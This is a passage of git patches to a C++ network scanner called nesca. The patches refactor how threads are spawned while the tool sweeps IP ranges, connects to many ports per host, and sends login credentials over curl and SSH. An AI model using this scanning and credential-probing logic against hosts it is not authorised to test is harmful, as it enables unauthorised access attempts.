+std::vector<char*> Threader::threadPool; +int Threader::threadPoolSize; +bool Threader::mayRun; +void *Threader::lFunc; -void Threader::createThreadPool(int poolSize, void *func, ST *st) { - for(int i = 0; i < poolSize; ++i) { - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))func, st); - - ThreadStruct threadStruct { - &thrc, - false - }; - - threadPool.push_back(threadStruct); +void Threader::recreateThreadPool(int poolSize) { + if(mayRun) { + createThreadPool(poolSize, (void* (*)(int))lFunc); } } -void Threader::fireThread(ST *st) { +void Threader::createThreadPool(int poolSize, void *func(int)) { + cleanUp(); + lFunc = (void*)func; + threadPoolSize = poolSize; + for(int i = 0; i < threadPoolSize; ++i) { + char *res = NULL; + threadPool.push_back(res); + std::thread thr12(func, i); + thr12.detach(); +//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +// _beginthread((void(*)(void*))_connect, 0, (void *)i); +//#else +// pthread_t thrc; +// pthread_create(&thrc, NULL, (void *(*)(void*))func, (void *)i); +//#endif + Sleep(1); + } + mayRun = true; +} + +int Threader::getFreeDataSlotId() { + for(int i = 0; i != threadPoolSize; ++i) { + if(threadPool[i] == NULL) return i; + } + return -1; +} + +int Threader::getFreeThreadId() { + int res; + while((res = getFreeDataSlotId()) < 0) Sleep(10); + return res; +} + +void Threader::cleanUp() { + mayRun = false; + //for(int i = 0; i != threadPoolSize; ++i) { + //if(threadPool[i] != NULL) delete threadPool[i]; + //} + threadPool.clear(); +} + +void Threader::fireThread(char *res) { + //while(!mayRun) sleep(10); + threadPool[getFreeThreadId()] = res; } diff --git a/Threader.h b/Threader.h index 55dae0d..3eced75 100644 --- a/Threader.h +++ b/Threader.h @@ -2,20 +2,30 @@ #define THREADER_H #include <mainResources.h> +#include <thread> -struct ThreadStruct{ - pthread_t *handler; - bool busy; -}; +//typedef struct { +// char argv[MAX_ADDR_LEN] = {0}; +//} ST; class Threader { -private: - static std::vector<ThreadStruct> threadPool; +private: + static int threadPoolSize; + static void* lFunc; public: - static void createThreadPool(int poolSize, void *func, ST *st); - static void fireThread(ST *st); - static pthread_t getFreeThread(); + static std::vector<char *> threadPool; + static bool mayRun; + +private: + static int getFree(); + static int getFreeDataSlotId(); + static int getFreeThreadId(); +public: + static void recreateThreadPool(int poolSize); + static void createThreadPool(int poolSize, void *func(int)); + static void fireThread(char *st); + static void cleanUp(); }; #endif // THREADER_H diff --git a/mainResources.h b/mainResources.h index 0f7e36c..f6c67e9 100644 --- a/mainResources.h +++ b/mainResources.h @@ -88,10 +88,6 @@ typedef int BOOL; #define COOKIE_MAX_SIZE 1024 #define RESULT_DIR_NAME "./result_files-" __DATE__ -typedef struct { - char argv[MAX_ADDR_LEN]; -} ST; - struct PathStr{ char codepage[32]; char headr[TITLE_MAX_SIZE]; diff --git a/nesca_3.cpp b/nesca_3.cpp index e3f97b8..7fef636 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -26,6 +26,7 @@ #include "progressbardrawer.h" #include "externFunctions.h" #include "externData.h" +#include "Threader.h" QDate date = QDate::currentDate(); int ver = 100*(100*(date.year()%100) + date.month()) + date.day(); @@ -3571,6 +3572,7 @@ void nesca_3::ChangeLabelTO_ValueChanged(QString str) void nesca_3::ChangeLabelThreads_ValueChanged(QString str) { gThreads = str.toInt(); + //Threader::recreateThreadPool(gThreads); } void nesca_3::PingTO_ChangeValue(QString str) diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 7cbac1f..b82c623 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -3,8 +3,10 @@ #include "externData.h" #include "externFunctions.h" #include "Connector.h" +#include "Threader.h" +#include <thread> -ST *st = NULL; +//ST *st = NULL; QJsonArray *jsonArr = new QJsonArray(); @@ -880,31 +882,99 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) // return res; //} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +//void _connect(int ss) +//#else +//void _connect(int ss) +//#endif +//{ +// while(globalScanFlag) { +// while(Threader::threadPool[ss] == NULL) { +// if(!globalScanFlag) return; +// Sleep(10); +// } + +// ++ipCounter; +// //char ip[MAX_ADDR_LEN] = {0}; +// //strcpy(ip, Threader::threadPool[ss]); +// //char hostLog[256] = {0}; +// //strcpy(hostLog, GetHost(ip)); +// //delete Threader::threadPool[ss]; + +// ConInc(); + +// for(int i = 0; i <= overallPorts; ++i) +// { +// if(globalScanFlag == false) break; +// //if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; +// //if(Connector::_ConnectToPort( Threader::threadPool[ss], portArr[i], "" ) == -2) break; +// }; + +// ConDec(); + +// Threader::threadPool[ss] = NULL; +// } +//} + #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -void _connect(void* ss) +void _connect(char* ip) #else -void *_connect(void* ss) +void _connect(char* ip) #endif -{ - ++ipCounter; - char ip[MAX_ADDR_LEN] = {0}; - strcpy(ip, ((ST*)ss)->argv); - //char hostLog[256] = {0}; - //strcpy(hostLog, GetHost(ip)); - delete (ST*)ss; +{ + ++ipCounter; + ConInc(); - ConInc(); + for(int i = 0; i <= overallPorts; ++i) + { + if(globalScanFlag == false) break; + if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; + }; - for(int i = 0; i <= overallPorts; ++i) - { - if(globalScanFlag == false) break; - if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; - }; - - ConDec(); + ConDec(); } -void targetAndIPWriter(long long unsigned int target, char *buff) +void targetAndIPWriter(long long unsigned int target, const char *buff) { char curIPBuff[256] = {0}, targetNPers[32] = {0}; @@ -1585,7 +1655,7 @@ int fInit(int InitMode, char *gR) if(ipsend[i] > 255) { - stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionRedFoundData("[Error] Incorrect range."); stt->doEmitionKillSttThread(); return -1; }; @@ -1605,7 +1675,7 @@ int fInit(int InitMode, char *gR) ) ) { - stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionRedFoundData("[Error] Incorrect range."); stt->doEmitionKillSttThread(); return -1; }; @@ -2229,14 +2299,14 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) } else { - if(globalScanFlag == false) return 0; strcpy(endIP2, saveMask); - st = new ST(); - ZeroMemory(st->argv, sizeof(st->argv)); + //st = new ST(); + //ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(iip, sizeof(iip)); while(cons >= gThreads && globalScanFlag) Sleep(300); + if(globalScanFlag == false) return 0; strcpy(iip, mask); strcpy(saveStartIP, iip); @@ -2244,19 +2314,24 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) ++indexIP; - strcpy(st->argv, iip); + char res[256] = {0}; + strcpy(res, iip); - targetAndIPWriter(--gTargets, st->argv); + targetAndIPWriter(--gTargets, res); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); -#else - if(globalScanFlag) - { - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); - }; -#endif +// std::thread thr(_connect, res); +// thr.detach(); + + //Threader::fireThread(st); +//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +// if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); +//#else +// if(globalScanFlag) +// { +// pthread_t thrc; +// pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); +// }; +//#endif Sleep(gThreadDelay); }; @@ -2269,6 +2344,8 @@ int startScan(char* args) OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ SSL_load_error_strings(); /* Bring in and register error messages */ +// Threader::createThreadPool(gThreads, (void* (*)(int))_connect); + horLineFlag = false; flCounter = 0; PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; @@ -2309,7 +2386,7 @@ int startScan(char* args) int resInit = fInit(gMode, gRange); if(resInit == -1 ) { - stt->doEmitionRedFoundData("[Error] fInit failure"); + stt->doEmitionRedFoundData("[Error] fInit failure"); stt->doEmitionKillSttThread(); return -1; @@ -2350,11 +2427,11 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { + if (globalScanFlag == false) break; unsigned long offset = ip2 - i; - tAddr.s_addr = i; - + tAddr.s_addr = i; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) @@ -2362,32 +2439,28 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); #else tAddr.s_addr = ntohl(tAddr.s_addr); - const char *ipStr = inet_ntoa(tAddr); - ipVec.push_back((char*)ipStr); + ipVec.push_back(inet_ntoa(tAddr)); #endif if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { - if (globalScanFlag == false) goto haters_gonna_hate_IPM; - st = new ST(); - ZeroMemory(st->argv, sizeof(st->argv)); - while (cons >= gThreads && globalScanFlag) Sleep(500); - ++indexIP; - strcpy(st->argv, ipVec[0].c_str()); - strcpy(saveStartIP, ipVec[0].c_str()); + if (globalScanFlag == false) goto haters_gonna_hate_IPM; + //st = new ST(); + //ZeroMemory(st->argv, MAX_ADDR_LEN); + ++indexIP; + //strcpy(st->argv, ipVec[0].c_str()); + strcpy(res, ipVec[0].c_str()); + strcpy(saveStartIP, res); ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, st->argv); + targetAndIPWriter(gTargets--, res); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_connect, 0, st); -#else - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); -#endif + std::thread thr(_connect, res); + thr.detach(); + //Threader::fireThread(res); Sleep(gThreadDelay); } } @@ -2398,12 +2471,13 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); } case false: { struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - if (globalScanFlag == false) break; - st = new ST(); - ZeroMemory(st->argv, sizeof(st->argv)); - ZeroMemory(res, sizeof(res)); + for (unsigned long i = ip1; i <= ip2; ++i) { + while (cons >= gThreads && globalScanFlag) Sleep(500); + if (globalScanFlag == false) break; + //st = new ST(); + //ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); ++indexIP; tAddr.s_addr = i; @@ -2413,19 +2487,19 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); #else + tAddr.s_addr = ntohl(tAddr.s_addr); strcpy(res, inet_ntoa(tAddr)); #endif - strcpy(st->argv, res); + //strcpy(st->argv, res); strcpy(saveStartIP, res); - targetAndIPWriter(gTargets--, st->argv); + targetAndIPWriter(gTargets--, res); + +// std::thread thr(_connect, res); +// thr.detach(); + + //Threader::fireThread(st); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_connect, 0, st); -#else - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); -#endif Sleep(gThreadDelay); } break; @@ -2578,7 +2652,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); if (flCounter == 0) { stt->doEmitionRedFoundData("Empty IP list."); - globalScanFlag = false; + globalScanFlag = false; stt->doEmitionKillSttThread(); return -1; @@ -2626,8 +2700,8 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); strcat(metaRange, "."); strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str()); - unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; - unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; + unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; + unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; switch (gShuffle) { case true: { @@ -2635,39 +2709,37 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { + if (globalScanFlag == false) break; - int offset = ip2 - i; + unsigned long offset = ip2 - i; tAddr.s_addr = i; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); #else - ipVec.push_back(inet_ntoa(tAddr)); + tAddr.s_addr = ntohl(tAddr.s_addr); + ipVec.push_back(inet_ntoa(tAddr)); #endif if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { - if (globalScanFlag == false) goto haters_gonna_hate_IM; - - st = new ST(); - ZeroMemory(st->argv, sizeof(st->argv)); - while (cons >= gThreads && globalScanFlag) Sleep(500); + if (globalScanFlag == false) goto haters_gonna_hate_IM; + //st = new ST(); + //ZeroMemory(st->argv, MAX_ADDR_LEN); ++indexIP; - strcpy(st->argv, ipVec[0].c_str()); - strcpy(saveStartIP, ipVec[0].c_str()); + strcpy(res, ipVec[0].c_str()); + strcpy(saveStartIP, res); ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, st->argv); + targetAndIPWriter(gTargets--, res); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_connect, 0, st); -#else - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); -#endif +// std::thread thr(_connect, res); +// thr.detach(); + + //Threader::fireThread(st); Sleep(gThreadDelay); } } @@ -2677,33 +2749,33 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); } case false: { struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - if (globalScanFlag == false) break; - st = new ST(); - ZeroMemory(st->argv, sizeof(st->argv)); - ZeroMemory(res, sizeof(res)); + for (unsigned long i = ip1; i <= ip2; ++i) { + while (cons >= gThreads && globalScanFlag) Sleep(500); + if (globalScanFlag == false) break; + //st = new ST(); + //ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); ++indexIP; - tAddr.s_addr = i; + tAddr.s_addr = i; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); #else + tAddr.s_addr = ntohl(tAddr.s_addr); strcpy(res, inet_ntoa(tAddr)); #endif - strcpy(st->argv, res); + //strcpy(st->argv, res); strcpy(saveStartIP, res); - targetAndIPWriter(gTargets--, st->argv); + targetAndIPWriter(gTargets--, res); + +// std::thread thr(_connect, res); +// thr.detach(); + + //Threader::fireThread(st); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_connect, 0, st); -#else - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); -#endif Sleep(gThreadDelay); - } break; }; @@ -2724,8 +2796,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); while(cons > 0 || jsonArr->size() > 0) { Sleep(2000); }; - - nCleanup(); stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); @@ -2734,6 +2804,8 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); } void nCleanup(){ + Threader::cleanUp(); + if(loginLst != NULL) { for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; From b2b246010efc7ab21ee217a27cafba8f15e01bec Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Thu, 19 Mar 2015 17:34:35 +0300 Subject: [PATCH 36/66] thread pooling 2 --- Connector.cpp | 38 +++--- DrawerTh_ME2Scanner.cpp | 4 +- Threader.cpp | 66 ++++------- Threader.h | 21 ++-- nesca_3.cpp | 6 +- nesca_startModule.cpp | 252 +++++++++------------------------------- 6 files changed, 115 insertions(+), 272 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index a62cd9d..3ddadaa 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -252,17 +252,16 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, buffer->clear(); CURL *curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L); - int res = 0; if (curl) { - if (MapWidgetOpened) { - struct data config; - config.trace_ascii = 1; /* enable ascii tracing */ + if (MapWidgetOpened) { + struct data config; + config.trace_ascii = 1; /* enable ascii tracing */ curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace); curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); - } + } curl_easy_setopt(curl, CURLOPT_URL, ip); curl_easy_setopt(curl, CURLOPT_PORT, port); curl_easy_setopt(curl, CURLOPT_USERAGENT, @@ -277,6 +276,8 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, if(strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) { curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP); curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort); + } else { + curl_easy_setopt(curl, CURLOPT_PROXY, ""); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); @@ -303,10 +304,15 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); //curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); - };// + }; + + if(curl_easy_perform(curl) == CURLE_OK) { + curl_easy_cleanup(curl); + } else { + curl_easy_cleanup(curl); + return -1; + } - if(curl_easy_perform(curl) != CURLE_OK) return -1; - curl_easy_cleanup(curl); } else { stt->doEmitionRedFoundData("Curl error."); return -1; @@ -334,14 +340,14 @@ int Connector::_ConnectToPort(char *ip, int port, char *hl) if(port == 22) size = _SSHLobby(ip, port, &buffer); else size = nConnect(ip, port, &buffer); - if(size > 0) - { - ++Alive; - ++found; - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - Lexems lx; - lx._filler(port, buffer.c_str(), ip, size, &lx, hl); - }; +// if(size > 0) +// { +// ++Alive; +// ++found; +// stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); +// Lexems lx; +// lx._filler(port, buffer.c_str(), ip, size, &lx, hl); +// }; return 0; } diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index 205e007..22232ce 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -102,13 +102,13 @@ void MakePolygonLine(int gWidth) }; } - if(xtx > 234 && xtx < 269) + if(xtx > 234 && xtx < 278) { qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Alive * 2 - fact7 : ME2YPOS); if(Alive > 0) { - if(xtx < 252 ) fact7+=1; + if(xtx < 261 ) fact7+=1; else fact7-=1; }; }; diff --git a/Threader.cpp b/Threader.cpp index f222d12..81fc6d4 100644 --- a/Threader.cpp +++ b/Threader.cpp @@ -1,39 +1,13 @@ #include <Threader.h> std::vector<char*> Threader::threadPool; -int Threader::threadPoolSize; -bool Threader::mayRun; -void *Threader::lFunc; - -void Threader::recreateThreadPool(int poolSize) { - if(mayRun) { - createThreadPool(poolSize, (void* (*)(int))lFunc); - } -} - -void Threader::createThreadPool(int poolSize, void *func(int)) { - cleanUp(); - lFunc = (void*)func; - threadPoolSize = poolSize; - for(int i = 0; i < threadPoolSize; ++i) { - - char *res = NULL; - threadPool.push_back(res); - std::thread thr12(func, i); - thr12.detach(); -//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -// _beginthread((void(*)(void*))_connect, 0, (void *)i); -//#else -// pthread_t thrc; -// pthread_create(&thrc, NULL, (void *(*)(void*))func, (void *)i); -//#endif - Sleep(1); - } - mayRun = true; -} +std::vector<std::condition_variable*> cvPool; +std::vector<bool> Threader::readyPool; +int Threader::threadId = 0; int Threader::getFreeDataSlotId() { - for(int i = 0; i != threadPoolSize; ++i) { + int tps = threadPool.size(); + for(int i = 0; i != (gThreads > tps ? tps : gThreads); ++i) { if(threadPool[i] == NULL) return i; } return -1; @@ -41,19 +15,29 @@ int Threader::getFreeDataSlotId() { int Threader::getFreeThreadId() { int res; - while((res = getFreeDataSlotId()) < 0) Sleep(10); + while((res = getFreeDataSlotId()) < 0) Sleep(50); return res; } -void Threader::cleanUp() { - mayRun = false; - //for(int i = 0; i != threadPoolSize; ++i) { - //if(threadPool[i] != NULL) delete threadPool[i]; - //} - threadPool.clear(); +void Threader::fireThread(char *res, void *func(int,std::condition_variable*)) { + if(threadId < gThreads) { + threadPool.push_back(res); + std::condition_variable cv; + cvPool.push_back(&cv); + std::thread workerThread(func, threadId++, &cv); + workerThread.detach(); + readyPool.push_back(true); + cv.notify_one(); + } else { + int id = getFreeThreadId(); + threadPool[id] = res; + readyPool[id] = true; + cvPool[id]->notify_one(); + } } -void Threader::fireThread(char *res) { - //while(!mayRun) sleep(10); - threadPool[getFreeThreadId()] = res; +void Threader::cleanUp() { + threadId = 0; + threadPool.clear(); + cvPool.clear(); } diff --git a/Threader.h b/Threader.h index 3eced75..7a60066 100644 --- a/Threader.h +++ b/Threader.h @@ -2,29 +2,28 @@ #define THREADER_H #include <mainResources.h> +#include <externData.h> #include <thread> - -//typedef struct { -// char argv[MAX_ADDR_LEN] = {0}; -//} ST; +#include <chrono> +#include <future> +#include <mutex> +#include <condition_variable> class Threader { private: - static int threadPoolSize; - static void* lFunc; public: static std::vector<char *> threadPool; - static bool mayRun; + static int threadId; + static std::condition_variable cv; + static std::vector<bool> readyPool; private: - static int getFree(); static int getFreeDataSlotId(); static int getFreeThreadId(); public: - static void recreateThreadPool(int poolSize); - static void createThreadPool(int poolSize, void *func(int)); - static void fireThread(char *st); + static void fireThread(char *st, + void* func(int,std::condition_variable*)); static void cleanUp(); }; diff --git a/nesca_3.cpp b/nesca_3.cpp index 7fef636..db31f7c 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -2531,6 +2531,7 @@ void nesca_3::IPScanSeq() { if(ui->portLine->text() != "") { + saveOptions(); ui->labelParsed_Value->setText("0/0"); stopFirst = false; ui->tabMainWidget->setTabEnabled(1, false); @@ -2614,6 +2615,7 @@ void nesca_3::DNSScanSeq() { if(ui->lineEditPort->text() != "") { + saveOptions(); ui->labelParsed_Value->setText("0/0"); if(ui->lineEditStartIPDNS->text().indexOf(".") > 0) { @@ -2670,6 +2672,7 @@ void nesca_3::ImportScanSeq() else fileName = importFileName; if(fileName != "") { + saveOptions(); ui->tabMainWidget->setTabEnabled(0, false); ui->tabMainWidget->setTabEnabled(1, false); @@ -3571,8 +3574,7 @@ void nesca_3::ChangeLabelTO_ValueChanged(QString str) void nesca_3::ChangeLabelThreads_ValueChanged(QString str) { - gThreads = str.toInt(); - //Threader::recreateThreadPool(gThreads); + gThreads = str.toInt(); } void nesca_3::PingTO_ChangeValue(QString str) diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index b82c623..962d278 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -6,8 +6,6 @@ #include "Threader.h" #include <thread> -//ST *st = NULL; - QJsonArray *jsonArr = new QJsonArray(); bool gShuffle = true; @@ -810,184 +808,82 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) return gTargets; } - -//#include <sys/types.h> -//#include <stdio.h> -//#include <signal.h> -//#include <adns.h> -//char *GetHost(char *ip) -//{ -// char res[256] = {0}; -// adns_state ads = NULL; -// adns_init(&ads, adns_if_nosigpipe, 0); -// -// adns_query aquery = 0; -// adns_answer* answer = NULL; -// sockaddr_in sockAddr; -// sockAddr.sin_family = AF_INET; -// sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); -// -// adns_submit_reverse(ads, -// (struct sockaddr *)&sockAddr, -// (adns_rrtype)adns_r_ptr, -// (adns_queryflags)adns_qf_quoteok_anshost, -// NULL, -// &aquery); -// adns_wait(ads, &aquery, &answer, NULL); -// -// if(answer->status == adns_s_ok) -// { -// strncpy(res, (const char*)answer->rrs.bytes, 256); -// }; -// -// adns_finish(ads); -// //struct hostent *result; -// //unsigned long addr = inet_addr(ip); -// //result = gethostbyaddr((char*)&addr, sizeof(addr), AF_INET); -// return res; -// -//#pragma region Reverse-ip -// //struct hostent *result; -// //unsigned long addr = inet_addr(ip); -// //result = gethostbyaddr((char*)&addr, sizeof(addr), AF_INET); -// //char res[256] = {0}; -// -// //if( result == NULL ) -// //{ -// // strcpy(res, ""); -// //} -// //else -// //{ -// // if( result->h_name == NULL ) -// // { -// // strcpy(res, ""); -// // } -// // else -// // { -// // strcpy(res, "Hostname: "); -// // //if(result->h_length != NULL) strcat(res, std::to_string(result->h_length).c_str()); -// // //strcat(res, " "); -// // //if(result->h_name != NULL) strcat(res, (result->h_name)); -// // //strcat(res, ":"); -// // if(result->h_addr_list[0] != NULL) -// // { -// // int sz = strlen((result->h_addr_list[0] + 4)); -// // if(sz > 200) stt->doEmitionYellowFoundData("[LOL] Very long host detected [<a href=\"http://" + QString(ip) + "/\">" + QString(ip) + "</a>]"); -// // strncpy(res, (result->h_addr_list[0] + 4), sz < 256 ? sz : 256); -// // }; -// // }; -// //}; -// -// -// return res; -//} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - //#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) //void _connect(int ss) //#else -//void _connect(int ss) +//void _connect(char *ip) //#endif //{ -// while(globalScanFlag) { -// while(Threader::threadPool[ss] == NULL) { -// if(!globalScanFlag) return; -// Sleep(10); -// } - // ++ipCounter; -// //char ip[MAX_ADDR_LEN] = {0}; -// //strcpy(ip, Threader::threadPool[ss]); -// //char hostLog[256] = {0}; -// //strcpy(hostLog, GetHost(ip)); -// //delete Threader::threadPool[ss]; // ConInc(); // for(int i = 0; i <= overallPorts; ++i) // { // if(globalScanFlag == false) break; -// //if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; -// //if(Connector::_ConnectToPort( Threader::threadPool[ss], portArr[i], "" ) == -2) break; +// if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; // }; // ConDec(); - -// Threader::threadPool[ss] = NULL; -// } //} +std::mutex m; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -void _connect(char* ip) +void _connect(int ss) #else -void _connect(char* ip) +void _connect(int ss, std::condition_variable *cv) #endif { + //std::chrono::duration<int, std::milli> duration(200); + while(globalScanFlag) { +// std::future<int> f2 = Threader::threadPool[ss]; +// f2.wait(); + std::unique_lock<std::mutex> lk(m); + cv->wait(lk, [ss]{return Threader::readyPool[ss];}); +// while(Threader::threadPool[ss] == NULL) { +// if(!globalScanFlag) return; +// std::this_thread::sleep_for(duration); +// } +// if(Threader::threadPool[ss] == (char*)-1) { +// --Threader::threadId; +// return; +// } + ++ipCounter; + ConInc(); for(int i = 0; i <= overallPorts; ++i) { if(globalScanFlag == false) break; - if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; + if(Connector::_ConnectToPort( Threader::threadPool[ss], portArr[i], "" ) == -2) break; }; ConDec(); + Threader::readyPool[ss] = false; + Threader::threadPool[ss] = NULL; + lk.unlock(); + } } -void targetAndIPWriter(long long unsigned int target, const char *buff) +void targetAndIPWriter(long long unsigned int target, const char *ip) { - char curIPBuff[256] = {0}, targetNPers[32] = {0}; + char targetNPers[32] = {0}; + float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); + + stt->doEmitionIPRANGE(QString(ip)); + strcpy(metaIPDNS, ip); - strcpy(metaIPDNS, buff); sprintf(targetNPers, "%Lu 